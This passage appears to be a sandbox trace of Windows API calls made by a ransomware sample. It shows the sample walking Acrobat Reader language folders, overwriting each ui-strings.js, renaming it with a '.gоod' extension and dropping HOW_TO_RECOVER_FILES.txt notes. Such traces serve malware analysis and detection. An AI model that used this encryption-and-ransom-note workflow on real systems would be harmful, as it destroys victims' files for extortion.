(x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.590] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.590] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.590] GetFileType (hFile=0x640) returned 0x1 [0170.590] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.590] GetFileType (hFile=0x640) returned 0x1 [0170.590] WriteFile (in: hFile=0x640, lpBuffer=0x338d8d8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x338d8d8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0170.590] CloseHandle (hObject=0x640) returned 1 [0170.590] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.591] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0170.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0170.591] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x61e508d2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x53a1)) returned 1 [0170.591] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0170.591] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ru-ru\\ui-strings.js.gоod")) returned 1 [0170.592] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0170.592] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0170.592] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\ru-ru\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\ru-ru\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0170.832] GetFileType (hFile=0x640) returned 0x1 [0170.832] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0170.833] GetFileType (hFile=0x640) returned 0x1 [0170.833] WriteFile (in: hFile=0x640, lpBuffer=0x33f7330*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x33f7330*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0170.834] CloseHandle (hObject=0x640) returned 1 [0170.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0170.834] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk", lpFilePart=0x0) returned 0x69 [0170.834] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0170.835] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.835] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f75, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0170.835] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0170.835] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0170.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0170.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0170.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0170.835] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk", lpFilePart=0x0) returned 0x69 [0170.836] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0170.836] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.836] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f75, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0170.836] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f75, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0170.836] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0170.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0170.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0170.836] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0170.837] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3406f08 | out: lpFileInformation=0x3406f08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3f75)) returned 1 [0170.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0170.837] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.837] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.837] GetFileType (hFile=0x640) returned 0x1 [0170.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.837] GetFileType (hFile=0x640) returned 0x1 [0170.837] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0170.838] ReadFile (in: hFile=0x640, lpBuffer=0x34073e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x34073e0*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0170.839] CloseHandle (hObject=0x640) returned 1 [0170.839] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.839] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.839] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.839] GetFileType (hFile=0x640) returned 0x1 [0170.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.840] GetFileType (hFile=0x640) returned 0x1 [0170.840] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3f75 [0170.840] WriteFile (in: hFile=0x640, lpBuffer=0x3409c58*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3409c58*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0170.841] CloseHandle (hObject=0x640) returned 1 [0170.841] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0170.841] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0170.841] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0170.841] GetFileType (hFile=0x640) returned 0x1 [0170.841] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0170.841] GetFileType (hFile=0x640) returned 0x1 [0170.841] ReadFile (in: hFile=0x640, lpBuffer=0x340e690, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x340e690*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0171.061] CloseHandle (hObject=0x640) returned 1 [0171.062] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0171.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0171.062] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0171.062] GetFileType (hFile=0x640) returned 0x1 [0171.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0171.062] GetFileType (hFile=0x640) returned 0x1 [0171.062] WriteFile (in: hFile=0x640, lpBuffer=0x3351ef8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3351ef8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0171.062] CloseHandle (hObject=0x640) returned 1 [0171.062] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0171.062] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0171.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0171.062] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x622c8fce, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3f85)) returned 1 [0171.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0171.062] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sk-sk\\ui-strings.js.gоod")) returned 1 [0171.063] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0171.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0171.063] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sk-sk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\sk-sk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x640 [0171.064] GetFileType (hFile=0x640) returned 0x1 [0171.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0171.064] GetFileType (hFile=0x640) returned 0x1 [0171.064] WriteFile (in: hFile=0x640, lpBuffer=0x33ed9f8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x33ed9f8*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0171.065] CloseHandle (hObject=0x640) returned 1 [0171.066] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0171.066] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si", lpFilePart=0x0) returned 0x69 [0171.066] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\sl-si\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0171.066] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0171.066] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3cec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0171.066] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 